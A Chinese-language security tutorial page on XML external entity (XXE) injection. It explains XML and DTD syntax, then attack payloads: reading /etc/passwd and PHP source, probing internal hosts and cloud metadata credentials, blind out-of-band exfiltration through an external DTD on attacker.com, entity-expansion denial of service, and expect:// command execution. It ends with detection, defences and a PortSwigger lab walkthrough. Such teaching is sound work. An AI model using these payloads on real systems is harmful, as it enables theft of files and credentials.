Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
12XML 外部实体注入【XXE】
## 概述 XXE 的全称是 **XML External Entity Injection(XML 外部实体注入)**,是一种针对解析 XML 格式数据的应用程序安全漏洞。 其核心是利用 XML 文档中 “外部实体” 的定义功能,注入恶意外部资源,诱导 XML 解析器加载或执行这些资源,从而窃取敏感信息、探测内网或发起攻击。 在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造 (SSRF) 攻击,从而升级 XXE 攻击以危害底层服务器或其他后端基础设施。 ## XML XML 全称 **可扩展标记语言(eXtensible Markup Language)**,是一种用于**存储和传输数据**的标记语言,核心目的是**定义数据的结构和含义**,而非直接控制数据的显示(与 HTML 不同)。 具有平台无关性、可扩展性和自我描述性,广泛用于数据交换、配置文件、文档标准化等场景。 > 特性 **可扩展性(Extensible)** 与 HTML 固定的预定义标签(如 \<p>、\<div>)不同,XML 没有预设标签,用户可根据需求自定义标签(如 \<user>、\<order-id>),灵活适配不同业务场景的数据结构。 **平台无关性** XML 是纯文本格式,不依赖特定操作系统或编程语言(如 Java、Python、C# 均能解析),是跨系统数据交换的常用格式。 **自我描述性** XML 标签本身能反映数据的含义(如 \<name>张三\</name> 直接说明内容是 “姓名”),无需额外文档解释,数据可读性强。 **严格的语法规则** - 必须有且仅有一个**根元素**(所有其他元素都嵌套在根元素内); - 标签必须成对出现(如 \<user> 对应\ </user>),空标签需闭合(如 \<age/>); - 标签区分大小写(\<Name> 和 \<name> 是不同标签); - 属性值必须用引号包裹(如 \<user id="123">)。 示例: ```xml <?xml version="1.0" encoding="UTF-8"?> <!-- XML 声明:版本、编码 --> <users> <!-- 根元素:所有用户数据的容器 --> <user id="1"> <!-- 子元素:单个用户,含属性 id --> <name>张三</name> <!-- 嵌套子元素:姓名 --> <age>25</age> <!-- 嵌套子元素:年龄 --> <email>zhangsan@example.com</email> <!-- 嵌套子元素:邮箱 --> </user> <user id="2"> <!-- 另一个用户 --> <name>李四</name> <age>30</age> <email>lisi@example.com</email> </user> </users> <!-- 根元素闭合 --> ``` ## DTD DTD 全称 **文档类型定义(Document Type Definition)**,是 XML 中用于**约束和定义 XML 文档结构**的规则集。 相当于 XML 文档的 “语法说明书”,规定了 XML 中允许出现的元素、属性、元素的嵌套关系、数据类型以及实体引用等,确保 XML 文档的结构统一、合法,便于不同系统间解析和交换。 ### 核心作用 DTD 的核心目标是 “规范化 XML 结构”,具体可拆解为 4 个关键功能: 1. **定义允许的元素**:指定 XML 中可出现的元素名称及元素的 “内容模型”(如元素是文本、子元素,还是混合内容)。 例:规定 XML 中只能有 \<users>、\<user>、\<name> 等元素,不允许出现未定义的 \<abc> 元素。 2. **约束元素的嵌套关系**:明确子元素的顺序、出现次数(如 “必须出现”“可选”“可重复”)。 例:规定 \<user> 元素下必须包含 \<name> 和 \<age>,且 \<name> 必须在 \<age> 之前。 3. **定义元素的属性**:指定元素可拥有的属性名、属性类型(如字符串、枚举值)及默认值(如属性是否必填、是否有默认值)。 例:规定 \<user> 元素必须有 id 属性,且 id 是数字类型。 4. **声明实体**:定义可复用的文本片段(如通用的公司名称、特殊符号),简化 XML 编写并统一维护。 例:定义实体 &company; 对应 “XX 科技”,XML 中可直接使用 &company; 代替重复书写。 ### 两种引用方式 DTD 不直接包含在 XML 数据中,而是通过 “引用” 关联到 XML 文档,分为**内部 DTD** 和 **外部 DTD** 两种方式。 **1. 内部DTD** 内部 DTD 直接写在 XML 文档的 “文档类型声明” 中,仅对当前 XML 文档生效,适合简单、专属的结构约束。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!-- 内部 DTD:用 [ ... ] 包裹 DTD 规则 --> <!DOCTYPE 根元素名 [ <!-- DTD 规则(元素、属性、实体声明)--> ]> <!-- XML 数据内容 --> <根元素名> ... </根元素名> ``` **2. 外部DTD** 外部 DTD 是一个独立的文件(后缀为 `.dtd`),可被多个 XML 文档引用,适合需要统一约束的场景(如行业标准、多系统共用结构)。 根据是否公开,外部 DTD 又分为 **系统外部 DTD**(自定义、私有)和 **公共外部 DTD**(公开、标准化,如 HTML 的 DTD)。 系统外部DTD:引用自定义的 `.dtd` 文件,需指定文件路径(本地路径或网络 URL)。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!-- 系统外部 DTD:SYSTEM 后接 .dtd 文件路径 --> <!DOCTYPE 根元素名 SYSTEM "dtd文件路径(本地/URL)"> <!-- XML 数据:遵循外部 DTD 的规则 --> <根元素名> ... </根元素名> ``` 公共外部DTD:引用公开的、标准化的 DTD(如 W3C 定义的 HTML 4.01 DTD),需用 `PUBLIC` 标识,并指定 “公共标识符”(用于定位标准 DTD)。 语法结构:`<!DOCTYPE 根元素名 PUBLIC "公共标识符" "DTD文件URL(可选)">` ```xml <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head>...</head> <body>...</body> </html> ``` ### 基本语法 DTD 由 **元素声明**、**属性声明**、**实体声明** 三部分核心语法组成。 **1. 元素声明** 用于指定元素名称及 “内容模型”(元素包含的内容类型)。 语法:`<!ELEMENT 元素名 内容模型>` 内容模型可选值: - `#PCDATA`:纯文本(不可包含子元素),如 `<!ELEMENT name (#PCDATA)>`; - `子元素列表`:指定子元素及顺序 / 次数,如 `<!ELEMENT user (name, age)>`; - `EMPTY`:元素无内容(空标签),如 `<!ELEMENT img EMPTY>`; - `ANY`:元素可包含任意内容(文本或子元素),如 `<!ELEMENT note ANY>`。 子元素 “出现次数” 的符号: | 符号 | 含义 | 示例 | | | -------- | ------------------------ | ------------------------- | ---- | | 无 | 必须出现 1 次 | (name, age) → 各 1 次 | | | `?` | 可选(0 或 1 次) | (phone?) → 可有可无 | | | `*` | 可重复(0 或多次) | (tag*) → 0 次及以上 | | | `+` | 至少 1 次 | (user+) → 1 次及以上 | | | ` | ` | 多选一(子元素任选一个) | (name\|nickname) → 选一个 | | **2. 属性声明** 用于指定元素可拥有的属性、属性类型以及默认值。 语法:`<!ATTLIST 元素名 属性名 属性类型 默认值>` 常见 “属性类型”: - `CDATA`:普通字符串(如 `id CDATA`); - `(值1|值2|值3)`:枚举(属性值只能是列出的选项),如 `gender (male|female)`; - `ID`:属性值是唯一标识符(整个 XML 中不可重复),如 `id ID`。 常见 “默认值”: | 关键字 | 含义 | 示例 | | ------------- | -------------------------- | -------------------------- | | `#REQUIRED` | 属性必填(不可省略) | id CDATA #REQUIRED | | `#IMPLIED` | 属性可选(可省略) | phone CDATA #IMPLIED | | `#FIXED "值"` | 属性值固定(必须等于该值) | version CDATA #FIXED "1.0" | | `"默认值"` | 可选,省略时用默认值 | city CDATA "Beijing" | **3. 实体声明** 实体是 XML 中的 “文本占位符”,用于定义重复使用的内容(如通用文本、特殊符号),分为 **通用实体**(XML 中使用)和 **参数实体**(仅 DTD 内部使用)。 通用实体语法结构:`<!ENTITY 实体名 "实体内容">`,在XML 中用 `&实体名;` 引用。 ```xml <!DOCTYPE users [ <!-- 定义通用实体:&company; 对应“XX科技有限公司” --> <!ENTITY company "XX科技有限公司"> <!ELEMENT users (user+)> <!ELEMENT user (name, company)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> ]> <users> <user> <name>张三</name> <company>&company;</company> <!-- 引用实体,解析后为“XX科技有限公司” --> </user> </users> ``` 参数实体语法结构:`<!ENTITY % 实体名 "实体内容">`,仅DTD内部用 `%实体名;` 引用。 ```xml <!DOCTYPE users [ <!-- 定义参数实体:%common; 对应重复的子元素 --> <!ENTITY % common "(name, age, email)"> <!-- 引用参数实体,等价于 <!ELEMENT user (name, age, email)> --> <!ELEMENT user %common;> <!ELEMENT users (user+)> <!ELEMENT name (#PCDATA)> <!ELEMENT age (#PCDATA)> <!ELEMENT email (#PCDATA)> ]> ``` ## 核心原理 要理解 XXE,需先明确两个基础概念:**XML 实体** 和 **外部实体**。 **1. XML实体** XML 实体:类似编程中的 “变量”,用于在 XML 文档中定义可复用的内容,分为 “内部实体” 和 “外部实体”。 内部实体:实体内容直接在 XML 中定义,例如: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY name "Alice"> <!-- 内部实体:name的值为Alice --> ]> <note> <to>&name;</to> <!-- 使用实体,最终解析为 <to>Alice</to> --> </note> ``` 外部实体:实体内容通过`SYSTEM`关键字引用**外部资源**(如本地文件、网络 URL),例如: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY ext SYSTEM "file:///etc/passwd"> <!-- 外部实体:引用本地/etc/passwd文件 --> ]> <note>&ext;</note> <!-- 使用外部实体,解析器会读取文件内容并替换 --> ``` **2. 触发条件** - 应用程序**接收并解析用户可控的 XML 数据**(如 API 请求体、文件上传中的 XML、配置文件等); - XML 解析器**未禁用外部实体解析**(默认情况下,许多旧版解析器会启用外部实体,这是漏洞的关键)。 当满足以上条件时,攻击者可构造包含**恶意外部实体**的 XML payload,诱导解析器访问敏感资源(如本地文件、内网服务),并将结果返回给攻击者。 ## 典型攻击场景与危害 XXE 的危害范围取决于 XML 解析器的权限和外部实体可访问的资源。 ### 读取本地敏感文件 这是 XXE 最典型的利用方式,攻击者通过外部实体引用服务器本地的敏感文件(如配置文件、密码文件、日志等),并通过 XML 解析结果泄露内容。 例如:通过 file:// 协议读取服务器本地文件。 ```xml-dtd <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <user>&file;</user> ``` 若应用程序返回解析后的 XML 内容,攻击者就能直接获取`/etc/passwd`中的用户账号信息。 **变种技巧**: - 使用 php://filter 读取 PHP 文件源码(Base64 编码绕过) ```xml <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ``` - Windows 下通过 file:///c:/windows/win.ini 验证路径 ### 探测内网服务 XML 外部实体支持通过`http://`等协议访问网络资源,攻击者可利用这一点,让 XML 解析器(运行在服务器上)作为 “跳板”,探测内网 IP、端口及服务状态(如内网数据库、管理后台)。 例如:探测内网 192.168.1.1 的 8080 端口是否开放。 ```xml <!DOCTYPE data [ <!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api"> ]> <data>&ssrf;</data> ``` 通过观察请求的响应时间(超时则端口可能关闭,快速响应则端口开放),攻击者可绘制内网拓扑。 **高级利用**: - 攻击云元数据服务(如 AWS IMDSv1): ```xml <!ENTITY metadata SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ``` - 结合 DNS 回传数据: ```xml <!ENTITY exfil SYSTEM "http://attacker.com/?data=file:///etc/passwd"> ``` ### 盲注 XXE(Blind XXE) 当响应不可见时,通过**带外通信(OOB, Out-of-Band)**泄露数据: ```xml <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd"> %dtd; ]> <data>&exfil;</data> ``` 攻击者托管 malicious.dtd: ```xml <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> %exfil; ``` ### 拒绝服务(DoS) 通过构造 “递归实体” 或引用超大文件,可导致 XML 解析器耗尽服务器资源(CPU、内存),引发拒绝服务。 例如:递归实体导致解析崩溃。 ```xml <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY a "&b;&b;&b;&b;&b;"> <!-- 引用b 5次 --> <!ENTITY b "&c;&c;&c;&c;&c;"> <!-- 引用c 5次 --> <!ENTITY c "&d;&d;&d;&d;&d;"> <!-- 引用d 5次 --> <!ENTITY d "x"> ]> <test>&a;</test> <!-- 最终解析为 5^4 = 625个x,递归层级过深会耗尽内存 --> ``` ### 执行命令 大部分情况下,XXE 无法直接执行命令,但在特定环境下(如 XML 解析器支持`expect://`等特殊协议,或结合其他漏洞),可间接实现命令执行。 - **PHP expect 模块**:执行系统命令(需 PHP 环境且启用`expect`模块) ```xml <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY cmd SYSTEM "expect://whoami"> <!-- 执行whoami命令 --> ]> <test>&cmd;</test> ``` - **Jar 协议**(Java):触发反序列化(需特定环境配置) 这种场景较少见,但一旦存在,危害极大(直接获取服务器控制权)。 ## XXE 漏洞的测试与验证 ### 手动检测 - **替换 XML 声明**:插入恶意 DTD 并观察响应变化。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> ``` - **修改 Content-Type**:将表单的 application/json 改为 application/xml 测试解析器兼容性。 ### 自动化工具 - **Burp Suite**:使用 Scanner 模块或 Collaborator 检测 OOB 请求。 - **XXEinjector**:自动化生成 Payload 并测试多种协议。 - **OWASP ZAP**:主动扫描模式检测 XXE 潜在风险。 ### 盲注检测信号 - DNS 查询:观察是否存在 dig 请求到攻击者域名。 - HTTP 回调:检查是否接收到来自目标服务器的 GET/POST 请求。 ## XXE 漏洞防御策略 不同编程语言和 XML 解析库的配置方式不同,核心是关闭 “外部实体支持” 和 “DOCTYPE 声明解析”。 ### 禁用外部实体解析 - **Java**:配置 DocumentBuilderFactory ```xml factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); ``` - **PHP**:使用 libxml_disable_entity_loader(true); - **Python**:defusedxml 库替代标准库 ### 输入过滤与净化 若无法完全禁用 DOCTYPE(部分业务需使用内部实体),需严格过滤用户输入的 XML 中与外部实体相关的关键字,例如: - 禁止`SYSTEM`、`PUBLIC`(外部实体的标识); - 禁止`file://`、`http://`、`gopher://`等危险协议; - 过滤`<!DOCTYPE`、`<!ENTITY`等 DTD 声明标签。 ### 使用安全的 XML 解析库 避免使用默认支持外部实体的旧版解析库,优先选择安全性更高的现代库,例如: - 替代 Java 的`DOM/SAX`:使用`Jackson`或`FastXML`(默认不解析外部实体); - 替代 Python 的`xml.etree.ElementTree`:使用`lxml`并显式禁用实体解析。 ### 限制 XML 解析的资源权限 从操作系统层面限制 XML 解析器进程的权限,例如: - 禁止解析进程访问敏感目录(如`/etc/`、`C:\Windows\`); - 禁止解析进程访问内网网络(通过防火墙限制出站连接)。 ## XXE 与 SSRF XXE 常与 SSRF 混淆,需明确两者的核心差异: | 特性 | XXE(XML 外部实体注入) | SSRF(服务器端请求伪造) | | -------- | --------------------------------- | ----------------------------------------------- | | 依赖场景 | 仅针对**解析 XML 数据**的应用程序 | 针对**可发起服务器端请求**的功能(如 URL 预览) | | 触发方式 | 构造恶意 XML 的外部实体 | 构造恶意 URL 参数 | | 核心载体 | XML 文档的 DOCTYPE 声明 | HTTP/HTTPS 等协议的请求目标 | ## 实验 靶机地址:https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files 已知:靶机中商品具有“Check stock”功能,可以解析 XML 输入并在响应中返回任何意外值。 任务:注入一个 XML 外部实体来检索文件的内容`/etc/passwd`。 1、访问任意一商品详情,点击【Check stock】,进行抓包,发现请求体是用xml格式。  2、构造XXE的Payload。 ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck> ``` 3、将原来的XML 替换为构造的Payload,再进行发包。  
毛林
2025年9月9日 17:53
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码